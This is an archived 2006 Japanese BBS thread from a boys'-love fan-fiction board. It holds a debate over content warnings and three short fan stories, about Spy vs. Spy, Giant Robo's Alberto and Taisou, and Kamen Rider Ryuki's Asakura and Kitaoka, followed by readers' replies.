前、新潟の地震の直後にそれをネタにした話がかなり叩かれたよね
今いる人はあの時の住人とはもう違うのかな <> 風と木の名無しさん<>sage<>2006/10/12(木) 15:15:17 ID:3b030dR70<> >>306
だからいいとか悪いじゃなくて、注意書きちゃんとしろって言ってるだけだってば <> 風と木の名無しさん<>sage<>2006/10/12(木) 15:18:31 ID:ZKQdzsMK0<> その火曜新ドラのキャラが白雉なのかどうかは知らないけどいいんじゃないの? <> 風と木の名無しさん<>sage<>2006/10/12(木) 15:36:25 ID:FkqfBYNoO<> 注意書きと言ってる人は読んで迷惑被ったの? <> 風と木の名無しさん<>sage<>2006/10/12(木) 15:49:36 ID:0t9HYvlE0<> 典型的な逆切れキタ━━━━━(゚∀゚)━━━━━!!!!
<> 風と木の名無しさん<>sage<>2006/10/12(木) 16:03:20 ID:FkqfBYNoO<> いやさ、自分が迷惑被ったわけでもない義憤にかられる皆さんって大変だなと <> 風と木の名無しさん<>sage<>2006/10/12(木) 16:05:20 ID:BwtFQ+pI0<> もう森へお帰り <> 風と木の名無しさん<>sage<>2006/10/12(木) 16:41:14 ID:8HR4InWZ0<> 精神的な不快感だって、十分迷惑の範疇だよ。
だから世間では、精神的な迷惑で賠償請求だってできるんだよ。 <> 風と木の名無しさん<>sage<>2006/10/12(木) 17:17:03 ID:FkqfBYNoO<> だったらそう言えばいいのに
自分が不快だって <> 風と木の名無しさん<>sage<>2006/10/12(木) 17:18:41 ID:voCxHQDy0<> 地図のハングル厨は、空気読めない馬鹿ばっかりだからしょうがない。
巣から二度と出てくるな。 <> 風と木の名無しさん<>sage<>2006/10/12(木) 17:36:29 ID:gdSanJyXO<> 小さい頃から障害者の子が近くにいる身としては不快でした
なので今度からは注意書きしておいて下さい
それから、しばらく来ないで下さい <> 風と木の名無しさん<>sage<>2006/10/12(木) 19:51:56 ID:nMnxaGw40<> 注意書きは確かに必要だったと思う
それは書いた人も反省してほしい

でも注意するほうもするほうで書き方が悪かったと思う
喧嘩腰で書かれては、反発してしまう人がいるのも事実
感情的になるのは分かるが、こういう場だからこそ冷静になるべきだ
ある程度年齢いってるんだから大人になれ <> 風と木の名無しさん<>sage<>2006/10/12(木) 19:53:58 ID:cLFBivZaO<> >>316
ハングル厨だと決め付けちゃいかん。
あとみんな絡みに行こうね <> 風と木の名無しさん<>sage<>2006/10/12(木) 20:09:38 ID:AXhfsuP+0<> 絡み使用が当たり前みたいなレスをいつの頃からか見かけるようになったけど
それはやや傲慢ではないかと常々思っていました。 <> 風と木の名無しさん<>sage<>2006/10/12(木) 22:18:56 ID:meZjVCU20<> とおりすがりだが>>302 ID:3b030dR70は特に喧嘩腰のレスとは思えない <> 風と木の名無しさん<>sage<>2006/10/12(木) 22:28:24 ID:O/1pLRi80<> >>302はどう見ても喧嘩腰じゃないでしょ
どう見てもつっかかってったのはマンセーしてる方じゃん
絡み池ってのもおかしいでしょ、注意なんだから <> 風と木の名無しさん<>sage<>2006/10/12(木) 23:09:53 ID:s3sVbooBO<> 誰か不快に思ったの?じゃなくて、
そういう類の話は不快になる人がいる可能性が高いから、注意書きがいるんだよ。
今までだって、不快に思う人がいそうなものは注意書きされてた。
それに、書いた側だって「不快でした」なんて言われたら嫌でしょ?
お互いにそれを避けるために、注意書きが必要なの。 <> 風と木の名無しさん<>sage<>2006/10/13(金) 00:19:51 ID:YK07do/WO<> むかついたから須磨板に貼りに逝ってこようかと本気で思った <> 風と木の名無しさん<>sage<>2006/10/13(金) 00:26:00 ID:ufjmBQcAO<> >>324
貼りつけるほうが痛いからやめとけ
向こうもいい迷惑だ <> 風と木の名無しさん<>sage<>2006/10/13(金) 00:43:32 ID:eSLS7OFG0<> >>324
ごめんなさいそれは止めて下さい本気でorz
須磨オタのハングル厨ですがだからといってなんでもマンセーできる訳ではありません
つーかむしろ地雷だよ… <> 風と木の名無しさん<>sage<>2006/10/13(金) 00:55:54 ID:f/Rnkniv0<> 元の話知らなくてもここの作品読む人いるんだね。

ドラマの内容知ってる人なら、最初の注意書きだけでこれはヤバゲと分かっただろうが
知らない人には白痴ものだと分からない。その辺を
(投下する人は)配慮してくれないと って感じなんだろう。 <> 風と木の名無しさん<>sage<>2006/10/13(金) 01:25:42 ID:BJgHiU930<> 801小説に配慮なんか要求するなよwwwwwwwwwwwww
エロに道徳も糞もねーよ。 <> 風と木の名無しさん<>sage<>2006/10/13(金) 01:51:02 ID:OQ7ZTuHd0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  スパイ対スパイで白黒白のリバ?

 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  元ネタはまるで分からんがとりあえず頑張る
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ カラミエミテ、モエタンダ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
<> スパイ対スパイ1<>sage<>2006/10/13(金) 01:52:33 ID:OQ7ZTuHd0<>  ヘッケノレとジャッケノレ。二人はスパイだ。互いが互いの国のため、毎日のように
ぶつかり合って機密書類だの何だのを奪い合い華麗に逃げ去っていく。
猫と鼠が毎日飽きもせずにケンカを続けているどこぞのカートゥーンのように
それは当たり前で、二人ともそれに疑問を抱いた事はない。

 ヘッケノレはいつも白づくめ。白い帽子に白いスーツ、白いコート。鞄まで真っ白だ。
ジャッケノレはいつも黒づくめ。黒い帽子に黒いスーツそして黒いコート。当然のように鞄も黒。

 見るからに対照的な二人だったが、性格は案外そうでもない。スパイという
職業上、争い事は避けて出来る限りスマートに仕事はこなさなければならない筈だが、
どういうわけか行く先々でかち合う二人の顔にはいつも不敵な笑みがあった。

 ライバル。そんな簡単な四文字で纏められるほど二人の関係は単純ではなかった。

 どちらかが謀略に成功した場合、不利な状況下にある相手を拘束して悪戯を
する事もあった。
 機密ディスクが目の前、というタイミングでクロロホルムに浸したハンカチを
押し当てるだけでは足らず、倒れた相手を剥いてこの世から消えたくなりそうな
ほど恥ずかしい格好に縛り上げて、煙草片手ににやにや笑いで覚醒を待ち構えて
いる事もあった。

 どちらも仕事が上手くいかず――スパイは彼ら二人だけではないし、機密を
狙う連中など星の数ほどいるのだ――骨折り損のくたびれもうけ、という結果に
終わった時は、極稀にではあるがどちらからともなくホテルへとしけこんだ。 <> スパイ対スパイ2<>sage<>2006/10/13(金) 01:54:11 ID:OQ7ZTuHd0<>  ヘッケノレとジャッケノレは、そんな嘲笑を毛ほども気にしていなかった。
スパイ同士だから頭脳戦も駆け引きもまるで意味を成さない。二人は余りにも
良く似ていて、だからこそ、お子様向けのカートゥーンから一歩進んだその
関係に留まっていた。


               **************


 必要なものは4つ。
 鞄と秘密書類、飛行機のチケット、そして金。
 何でそれらがひとところの屋敷に固まっているかは置いておいて、ヘッケノレと
ジャッケノレはその屋敷でスパイ合戦をすることになった。
 必要アイテムを集め切る事自体に問題はなかったが、互いが互いにそれを
理解しているものだから、最大の敵は相手の妨害にあると言えた。
 ヘッケノレはドアを開けるなり降ってくる硫酸を傘で防ぎ、ジャッケノレは
ちまちまと引き出しに潜むスプリングをペンチで切って回った。そんな生死の
境目をローラースケートでぶっ飛ばすような危うい罠の応酬の間に、ヘッケノレは
鞄と秘密書類を、ジャッケノレは鞄と飛行機のチケットと金を手に入れていた。

(……さて)
ジャッケノレは応接間でのんびりと煙草をふかして考えた。
今のところどちらが有利かと言えば、ヘッケノレだ。何にせよあの書類さえ
あれば、徒歩だろうが何だろうがとにかく国へと帰りつければそれでいいのだから。

 問題はそのヘッケノレが今どこにいるか分からず、時間が刻一刻と過ぎていく事にある。
 どちらかと言えば短気なジャッケノレは、長期戦というものが苦手だった。
 どう動いても状況が変わらない、気の長いかくれんぼまたは鬼ごっこ。
ジャッケノレはその無限ループをすぐさま破壊しなければならない。 <> スパイ対スパイ3<>sage<>2006/10/13(金) 01:55:11 ID:OQ7ZTuHd0<>  逆にヘッケノレは相手がおたおたしているのを高みから眺めて忍び笑いをするのが
好きな男なので、この無限ループをそれはそれを楽しんでいるだろう。
その控えめな笑顔がジャッケノレは大嫌いだったが、プライベートとして考えるなら
『大好き』と言って差支えがない。

ジャッケノレはヘッケノレについて考察を始めた。スパイだからプライベートな
情報までは流石に漏れていないが、とりあえず身体をつなげてみて分かった事も
そこそこにある。
 ――『相手の事が分からないなら、ひとまずセックスしてみるのも良いんじゃない?』
大昔に見た映画の台詞が蘇る。無事に帰る事が出来たら、レンタルビデオ屋を漁ってみよう。

 そうしてジャッケノレは身体を沈めていたソファから立ち上がった。



                 **************



 ドアの鍵は溶接し、窓には全て罠を仕掛けた。残るのはこの一階の窓だけで、
他に脱出経路は無し。
 屋敷の中心に位置する大部屋には、毒ガスが仕掛けてある。時限式の装置は
もうじき無色の牙を閃かせ、ヘッケノレを絡め取るだろう。
 もちろんヘッケノレはそんな罠に掛かるほどバカじゃない。すぐにガスに
気づいて脱出経路を探すはず。そして見つけるのはジャッケノレの目の前にあるこの窓だ。 <> スパイ対スパイ4<>sage<>2006/10/13(金) 01:57:06 ID:OQ7ZTuHd0<>  自分は窓を潜って出てきたヘッケノレを殴るなり眠らせるなり、好きな手順で
自由を奪って必要なものを奪取すればいい。あのヘッケノレは自分のうろたえる
顔などそうそう見せてくれはしないが、きっと脱出口を探すにあたっては
少しは焦った顔をするに違いない。直接見る事は出来ないが、ジャッケノレは
それを想像して微笑った。頭上の木立がつられた様にざわざわと風に揺られて
木の葉を落とした。

 時計を確認する。長針が12の数字を通過する。ガスが噴き出す静かに不穏な
音が聞こえてきたような錯覚を覚えた。


「……」
ガスが噴き出してから、3分が経過していた。
 ジャッケノレは言い様のない不安に襲われ、吸おうとしていたタバコを苛立ち
紛れに握り潰す。

 遅い。遅すぎる。ヘッケノレの腕ならば、2分と経たずにこの窓を発見しているはずだ。
唯一の脱出経路であるこの窓を。
 自分の包囲手順に何ら綻びはない。だからこそ、この時間経過は異常だ。

「……ヘッケノレ?」
呟いた声が、予想以上に震えていてジャッケノレは戦慄した。何に戦慄している
かも分からず、ジャッケノレは窓を見つめていた。



 窓越しに白い姿が現れたのは、5分経過した後だった。
 ヘッケノレは顔面蒼白で口をハンカチで押さえている。足取りがおかしい。
ひょこひょこと片足を擦る様に、必死に窓へと駆け寄っている。 <> スパイ対スパイ5<>sage<>2006/10/13(金) 01:59:09 ID:OQ7ZTuHd0<> 「……何でだ、ヘッケノレ」
何らかのアクシデントがあったのか。らしくもなく、変なミスでもやって
しまったのか。そんなアクシデントはジャッケノレの予定に無い。ここまで
ヘッケノレを追い込むつもりも無かった。ヘッケノレだってジャッケノレをここまで
追い込んだ事は無い。


 何故なら、相手を追い詰めて弱らせてしまったら、もう殺すしかないからだ。


 スパイは悲しいほどに合理的だ。まだまだ元気な相手を尻目に任務を果たすのは良い。
相手をどうにかするよりも、任務の遂行が最優先だからだ。
 しかし、自分の任務遂行の障害である相手が虫の息であり、今後また対象が
自分の、ひいては自国の邪魔となるのなら。

 殺すのだ。それが後々の任務をスムーズにする。

 ジャッケノレもヘッケノレも、それを理解している。
 理解していて、戯れた。狭い狭い橋の上で、遊び回っているようなものだ。
 ほんの少し手を滑らせてしまえば、相手を死に至らしめる。スパイ同士の
駆け引きとは、そういうものだった。


 立ち尽くすジャッケノレの目の前で、ヘッケノレは力なく窓を開けた。
 駆け寄ったジャッケノレは、ヘッケノレが力なく窓枠にしなだれかかるのを見た。
「ヘッケノレ」
「……あぁ、ジャッケノレ――悪い、な。しくじった……」
ヘッケノレは口元をひくつかせて笑った。自身が着ている服のように、その顔は真っ白だ。
「何――馬鹿やってんだ! 油断するんじゃねぇよ、俺の罠になんか掛かってんじゃねぇ!!」 <> スパイ対スパイ6<>sage<>2006/10/13(金) 02:00:10 ID:OQ7ZTuHd0<> 思わずジャッケノレは喚き散らしていた。ガスの毒は、予め飲んでいた中和剤の
おかげで無い。しかし、ガスの脅威に晒され続けながら、それでもヘッケノレは笑っていた。
「いや……俺が悪いんだよ、ジャッケノレ。――お前の罠、たまには引っ掛かって
油断させてやるか…………って、な。そうしたら、このザマさ――俺も堕ちたなあ」
ヘッケノレの口からは、ジャッケノレを責める言葉は何一つ出てこない。
つらつらと空ろな眼で独白に似た口調で語りかけ続けるヘッケノレが、
血を吐いたのはその直後だった。
「!! ヘッケノレ! 待ってろ、中和剤を――!」
ジャッケノレの国でしか製造していないガスだった。当然中和剤もジャッケノレ
しか持っていない。そして中和剤は、鞄の中だ。
 何故鞄を木の下に置いたのかと、数分前の自分を呪いながらジャッケノレは
走り出そうとした。

 その黒い袖を、ヘッケノレの白い腕が掴んだ。

「何、ヘッケ――」

 どこにそんな力が残っていたのか。やんわりと、しかし力強くジャッケノレを
自分の元へと引き寄せたヘッケノレは、最後の力を振り絞り窓枠から上半身を
乗り出した。
「愛してる、ジャッケノレ」
か細い声で名を呼んで、ヘッケノレは自らの血でまみれた口をジャッケノレの
それへと押し付けた。 <> スパイ対スパイ7<>sage<>2006/10/13(金) 02:01:34 ID:OQ7ZTuHd0<>  驚く間も振り払う暇も与える事なく、ヘッケノレの舌がすぐさまジャッケノレの
口内をむさぼる。戸惑ったのはほんの数秒で、ジャッケノレはヘッケノレの頭を
両手で挟み込み、その求めに応じた。
 ちゅく、と互いの舌と唾液が絡み合う。じんわりと感じた違和感は、
ヘッケノレの血の味だ。どこかカルキ臭い、さらりとした――――。

「!?」

気づいたときには、もう遅い。
 ヘッケノレはうっとりと眼を閉じて、ジャッケノレの唇をむさぼっている。
右手はいつしかジャッケノレの胸倉を掴んで引き寄せ続けている。しかしその
左手は、まるで別の意志に支配されているかのように迅速に、ジャッケノレの
足元に何かを放り落とした。
 ヘッケノレを突き飛ばす。ヘッケノレは眼を閉じたまま舌なめずりをして、笑う。


 眼球が焼ける幻聴すら聞こえるような、強烈な光がジャッケノレの視界を支配した。




「……色仕掛けなんざ反則だ」
「スパイに反則もへったくれもないさ、ジャッケノレ。俺は罠を仕掛け、
お前はそれに引っ掛かった。いつもの事だろ?」

 ジャッケノレは未だ凄まじいプリズムの乱舞に覆われている視界を閉じた。
開けても閉じても一緒だった。
「にしても、あのフェイクの不味さと言ったら! あの吐血の演技、凄かったろ?
あれは半分本気だったね」
がちゃん、と冷たい音が響く。ジャッケノレの両足が、一番低い樹の一番低い枝を
挟んで手錠で繋がれてしまった音だ。 <> スパイ対スパイ8<>sage<>2006/10/13(金) 02:03:26 ID:OQ7ZTuHd0<>  逆さ釣りにされ、頭の奥底で響きだす耳鳴りに顔を顰めながら、ジャッケノレは
空になった自分の鞄と秘密書類を片手に悠々と歩き出すヘッケノレを想像した。
もちろん足にはかすり傷一つも無い。
何とまあ、スマートなことだ。あの映画女優もこんなキャラだった気がする。
「それじゃあ、俺は行くよ。眼、お大事に」
「よく言うぜ、この色キチが」

 ジャッケノレの声のあまりにも憮然とした響きにヘッケノレが微笑した気配がした。
 ジャッケノレとしては、ベッドの上での淫らなヘッケノレを揶揄したつもり
だったのだが、今では負け犬の遠吠えでしかないのだろう。

 ヘッケノレの足音が近づいた。
 ちゅ、とジャッケノレの額に触れるだけの軽いキスを残し、ヘッケノレは
歩き去っていく。

「アディオス、ジャッケノレ。またいつか」
「アディオスヘッケノレ、もう会わない事を願って」

敗者の台詞だ。いつしか二人の間だけで決められた、勝者と敗者の別れの挨拶。
 今度こそ余裕の足取りで遠ざかっていく白づくめの演技派スパイの足音を、
ジャッケノレは聴覚でもって見送った。


 そして、一度だけ、ヘッケノレと別れの挨拶を交わせた事を神に感謝した。 <> 風と木の名無しさん<>sage<>2006/10/13(金) 02:04:49 ID:OQ7ZTuHd0<>  ____________
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 | | □ STOP.       | |
 | |                | |           ∧_∧ 無茶な話だ
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
個人的な妄想だらけでスマソ <> 風と木の名無しさん<>sage<>2006/10/13(金) 03:15:09 ID:DAz66pEl0<> 元ネタは知らないけど萌えた。GJ! <> 風と木の名無しさん<>sage<>2006/10/13(金) 05:57:18 ID:FUeTxggL0<> >>330
乙っす
懐かしやスパイ対スパイ <> 風と木の名無しさん<>sage<>2006/10/13(金) 11:10:56 ID:5TLhEm/z0<> まさかここで昔よく遊んだゲームの801を見れるとはw
乙です <> 風と木の名無しさん<>sage<>2006/10/13(金) 18:43:12 ID:pLiaN2H40<> >>330
やべ超カコイイよスパイかわいいよスパイ。
こういうスピード感あふれる文かける人尊敬します。

遅レスだけど>>249萌えましたありがとう。 <> 風と木の名無しさん<>sage<>2006/10/14(土) 02:12:27 ID:Nw50qWjR0<> |>PLAY ピッ ◇⊂(・∀・ )ジサクジエンガ オオクリシマース!
色々間違って居るだろうGR。アルと載。上下不明。でもアル→載。 <> (1/5)<>sage<>2006/10/14(土) 02:13:03 ID:Nw50qWjR0<> 本部の自室へ戻ると、部屋の明かりもつけぬ侭扉を閉めた。
後ろ手に扉を閉めた格好で、疲労感から目を閉じる。
右目の機械化されたモノクルは、レンズを閉じた。
微かなその機械音すら、疲労を覚えた身には煩わしい。
疲れた。こんなにも疲労を覚えるのは、久し振りかも知れない。
こんな姿を他者へ見せる事は、自分の主義に反する事でもあるし、
また、十傑集の一人としても問題だとも思う。
ならば己の任務が終わり次第、執務室へ篭る事しか出来ないだろう。
ここが己の城であるならば、とも思う。
自分にはあの城の価値だとか、その他の調度品の良さだとか、
そう言った一般的な意味における価値観は判らない。
だが執務室よりかは休息に適して居ると言う価値は判るし、
それだけで自分にとっては良い住処だとも思う。
(更に言えば、イワンの紅茶が飲める)
だがあの九大天王の一人、あの男が死んだ今、事態は如何動くか判らないのだ。
本部へ詰めて居なければならない。
ならばこうして、執務室で待機するしか無い。
そして少しでも体を回復させなければ。
それにしても、何故こんなにも疲労を感じるのだろうか。

そうだ。あの男は死んだのだ。

僅かに髪が一筋、額へ零れ落ちる感触がする。
閉じて居た片目を開け、その一筋を頭へ撫で付けた。 <> (2/5)<>sage<>2006/10/14(土) 02:14:10 ID:Nw50qWjR0<> 完璧で居なければならない。いや完璧なのだ。
この衝撃のアルベルトは完全なる力を、
今も、以前も、そしてこれからも、持つ。完全なる姿である筈だ。
十傑集の一人として、ビッグファイア団の幹部として、
偉大なるビッグファイアの御意志を具現化出来る、選ばれた者として。
だからこそ、髪が乱れた姿など、人前には晒さない。
己の体へ沿う、完全なる仕立ての服を纏う。
そして何よりも、疲労などに薄汚れた己の姿を認めない。
だからこの疲労を拭わなければならない。
その疲労と消耗の正体を知らなければならない。
この極度の体力消耗は、あの男が死んだ事が原因なのだろうか。
そうなのだろう。消耗して居るのは体力では無い。
気力を消耗して居るのだ。あの男の為に。

「戴宗」

忌々しいその名を吐き捨てても、気力が回復する訳では無い。
それが更に不快で、忌々しくて、混乱する。
己で制御出来ない己に対し、苛つく。
常に冷静で、粛然と任務を遂行して来た自分が、何故こうも不快な思いをしなければならないのか。
不愉快でもあるし、普段動かぬ自分の感情が、こうも激しく揺り動かされて居る現状に混乱する。
その混乱する頭を静めるべく、寒々しく広い部屋の中央へ据えてある、黒檀の机へ向かう。 <> (3/5)<>sage<>2006/10/14(土) 02:14:59 ID:Nw50qWjR0<> その机は自分の体に合うようにしつらえた。黒革張りの椅子も勿論そうだ。
どさりと椅子へ身を投げ出すと、鍛え抜いた厚い肩も、
黒革の椅子に包み込まれる。少しひんやりとした温度が心地良い。
その心地良さへ少しの満足を得た。
これで漸くと、落ち着いて思索へ耽る事が出来る。
生粋の軍人として、選ばれたエージェントとして、常に感情も思考も言動も完全に制御して来た自分が、何故あの男が死んだ今、感情を制御出来て居ないのだろうか。

おとうさま。

己の娘の、幼い声が頭に響く。
そうだ。あれの母親、それとあれ自身に、昔は混乱と不快感も得たものだった。
それは自分自身の中で判別出来ぬ種の感情の発露であったり、
そしてその自身で整理出来ぬ感情から発する、娘に対する言動であったり、だ。
一般(どの程度の人間を一般と言うのか、それが既に自分にとって判断に迷うが、恐らく世間にごまんと溢れる愚かな人々の事だ)で言う、情と言う奴なのかも知れない、と昔己は判断を下したのだ。
闘いイコール己として生きて来た中で、闘い以外において己の感情を揺さ振るものがあるのかと、驚いたものだった。
美しく賢い、そして自分とは似ても似つかぬ、優しい女。その娘。
己と似ても似つかぬものだからこそ、何が何でも欲しいと切望し、焦燥し、憎み、焦がれて、奪ったのかも知れない。
そしてあれは優しい女であるから、自分のものとなる事を甘受した。
生涯で只一度、本来ならば、己の手の内に入る筈もないものを得た。
そして授かった。 <> (4/5)<>sage<>2006/10/14(土) 02:16:01 ID:Nw50qWjR0<> 思考に纏う言葉が感傷的だ。今はそのような感傷的な言葉は必要無い。
自分に似つかわしく無い、非効率的な言葉と思考だとも思う。
過去の反芻を、そこで止めた。
さて、その妻と娘(改めて口にすると、我ながら複雑な思いにかられる)についての感情と、あの敵対する憎むべき男と、何故重なるのだろうか。
それは単純に考えると、妻と娘に対して沸き上がった感情と、イコールの感情であるからなのだろうか、と言う答えが出てきてしまう。
そこまで思い至り、激情に視界が赤く染まった。

あの男。
簡単につまらぬ死に方をした男に、私が情を抱いたと言うのか。
妻や娘に対する親子の情は、辛うじて理解も出来る。
だがあの男に対して、不快と怒りを覚えたとしても、情を抱く事などあるものか。

――儂との勝負を捨て、つまらぬものの為に死んだあの男などに。

そうだ。自分との決着をつけなければならぬものを、あの男は簡単に死んだのだ。
この衝撃のアルベルトが、好敵手と選んだ男。
しかし充実した闘いへの期待を裏切り、勝手に死んでいった男。
自分よりも、他の大切な何かを選んだ男。
それが不愉快だ。それがこの不快さの正体だ。 <> (5/5)<>sage<>2006/10/14(土) 02:19:15 ID:Nw50qWjR0<> 思い至った際には、数式の解を見つけたような、落ち着きと満足感を得た。
判れば何て事は無い。要するに、

要するに、あの男に選ばれなかった事が、許せなかったのだ。

止めを刺したとは言えど、結局はあの男との勝負も叶わず、あの男へ自分が死をもたらす事も出来なかったのだ。
そうだ、自分はあの男を殺したかったのだ。
あの男の命を手にし、生死を支配したかった。
あの男を支配したかったのだ。あの男の全てを手にしたかった。
だがあの男の全ては、既に無い。
手に入らぬものを欲してどうなると言うのだ。

これは何と呼ぶ情なのだろう。
死んだ後まで忌々しい男だ。
疲労感は暫く拭えそうに無い。
そう、暫くはこのままで良い。




かつて妻に抱いた焦燥に似て居る、と感じたのは、再び闇の中で隻眼を閉じた後だった。 <> 風と木の名無しさん<>sage<>2006/10/14(土) 02:20:10 ID:Nw50qWjR0<> □ STOP ピッ ◇⊂(・∀・ )イジョウ、ジサクジエンデシタ!
ごめんなさい。萌えの勢いの侭書いた。ごめんなさい。ごめんなさい。 <> 風と木の名無しさん<>sage<>2006/10/14(土) 04:05:25 ID:alV+rDZFO<> 亀だが326、貼られてるよ… <> 風と木の名無しさん<>sage<>2006/10/14(土) 11:24:06 ID:qQz8o3cA0<> 今更蒸し返すのもどうか <> 風と木の名無しさん<>sage<>2006/10/14(土) 16:39:44 ID:rPja13/G0<>
                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  イ反面ライ夕”ー隆起の朝倉×北丘
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  死にかけてる北丘先生の回想
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
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スレ18の66の続き。
前後で文体が微妙に違うような <> 1<>sage<>2006/10/14(土) 16:40:27 ID:rPja13/G0<> そのような事が暫く続いた。情事は主として廃倉庫などの屋根のある屋外―矛盾する言い方だが―で行われた。
時には朝倉が五郎の居ない間に事務所に来て北丘の部屋で行う事もあったが、主としては外であった。
やがて12月になり、北丘は寒いのでもう廃倉庫はやめてよ、と言った。朝倉はこれを受け入れた。
それからは主に情事の舞台は連れ込み宿になった。
しかし怪しげな歓楽街の連れ込み宿に入ると言っても朝倉は凶悪脱獄犯である。まさか連れて入る訳にはいかない。
そこで北丘は朝倉に、自分がドアを開けてホテルに入るのと同時にミラーワーノレドを経由してドアから入って来い、と言った。
朝倉はそれに従った。
馬鹿馬鹿しい事をしている、と北丘は思った。
 朝倉を愛しているか―と問われたら北丘は「否」と応えるだろう。
しかしだからといって欲望の為だけに抱かれているのではない。北丘にとって大事なのは自分だ。
だから好きでもない男に抱かれるなどという事をして自ら自分を貶める事はするはずが無かった。
また、朝倉は、欲望を満たす為だけなら通行人を殴ったほうが余程手っ取り早いだろうし、
好きでもない男とわざわざ時間をかけて情事をするとは到底思えなかった。

情事の際、二人が会話をするのは甚だ稀であった。最中は勿論、前も後も会話は殆ど無く、主に眼だけで会話は行われた。
真っ当な会話をするにはお互いの語彙数が違いすぎた。北丘は語彙数が多すぎて、朝倉は少ない。
弁護士は言葉を武器にする職業だ。
朝倉が「イイ」の一言でしか形容しない事は北丘ならば100種類ぐらいの褒め言葉を使い分けるだろう。
朝倉は他人と関わって来なかったので、特にその方面の知識を発展させる必要性を感じてこなかったのだ。
他人の感情の裏まで読めるかと思えば明らかな嘘さえ見抜けない時もある。朝倉は偏った人間だ。
<> 2<>sage<>2006/10/14(土) 16:41:04 ID:rPja13/G0<> 朝倉は、繋がったまま北丘の胸に頭を摺り寄せる事がままあった。
それは、獣が獲物を食べる前に軽く戯れをするのと、愛玩動物が主人に甘えるのと、その両方に似ていた。

「お前ってさあ、結構優しいよね」
情事を重ねるにつれ、最中は会話が無いのは変わらなかったが、その後に北丘がつまらない事を話し出すのがたまにあるようになった。
朝倉は別に答える義務も無いので無視すればいいのだが意外にもたいていの場合その発話に答えた。
「ああ?」
「もっと・・・気絶するまでされるかと思ってた」
廃工場などでするときは朝倉なりに遠慮しているのか大抵一回だけだったが、
屋根のあるところならもっと激しくされるかと思っていたがそうではない。
確かに回数は二回や三回に増えたが、別に激しい事は無かった。
「されたいのか」
「んなっ・・」
初めての奴にいきなり激しくは無理だろうが。その内、お前が慣れて来たら手加減無しでやってやる。
そう言って朝倉は笑った。時たま奴が見せる、屈託のない笑いだった。

「そのうち」なんて無いのに。

そう、「そのうち」、朝倉が脱獄した頃はそんな言葉は絶対言わなかっただろう。朝倉が求めていたのは「今」だった。
「未来」の事なんてきっと考えなかっただろう。それをするのは人間の事だ。朝倉は動物だ。
朝倉は愚かだ。なんで北丘の体力が落ちていってる事に気付かないのか。見るからに痩せていってるのに。
気付かないはずはない、気付けないはずはない。朝倉は、そういう事に関してはとても鋭いはずだ。
それとも、そんな事実から朝倉の眼を曇らせるほど自分は朝倉に深く食い込んでいたのか。
情事の時に北丘の服をきちんと畳むのも、ボタンを一つずつ丁寧に外すのも、あの妙に真剣な目付きも。
<> 3<>sage<>2006/10/14(土) 16:41:44 ID:rPja13/G0<> 北丘は朝倉とよく寝はしたが、戦いはあれ以来あまりしなかった。その度に北丘は言い訳をした。
明らかに見え透いた言い訳なのに、朝倉は信じて疑っていない様子だった。
朝倉は、「いつかお前と決着をつけるから」という自分の言葉を信じていた。北丘はそれができない事を知っていた。
いや、本当は朝倉も自分がもうダメかも知れないことを頭のどこかでわかっていたのではないだろうか?

北丘にはもはや朝倉が北丘無しで一人で生きていけるとは思えなかった。だから、自分は朝倉に責任があると思うのだ。
あの男から野性を奪ったのは自分だから。
だから、せめてあの男の前で死ぬなりなんなりして遊びの時間は終わった事を伝えなければいけなかったと思うのだ。
いなくなった事を知らないまま置いていくのは悪いことだと思うから。

北丘はふう、と溜息をついた。そして目を閉じた。それがどういう事かは知っていたが、目を閉じた。
<> 風と木の名無しさん<>sage<>2006/10/14(土) 16:44:36 ID:rPja13/G0<>
                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  なんとなく本編の「俺は朝倉に責任が〜」発言の理由を考えてみた。
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  デートを蹴ってまで朝倉と決着つけようとしたのにデキナカタ・・・
 | |                | |             \
 | | □ STOP.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ 
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<> 風と木の名無しさん<>sage<>2006/10/14(土) 19:28:49 ID:oM9wLn1lO<> >>352
姐さんGJ!!!
わー、切ないし萌えた…。
そっか、朝倉は先生死んだの知らないままだったっけ…(´・ω・`) <> スパイ対スパイの人<>sage<>2006/10/14(土) 23:38:10 ID:2F2nCtrD0<> あの……今気が付いたんだ
>>330>>331との間に抜けてる文章があった……orz マヌケスギダゼ、ベイビー
今更遅いかもしれませんが貼らせてください。

<ここから>
 他の同業者が見れば、鼻で笑うに違いない。敵国のスパイに身体を許すとは。
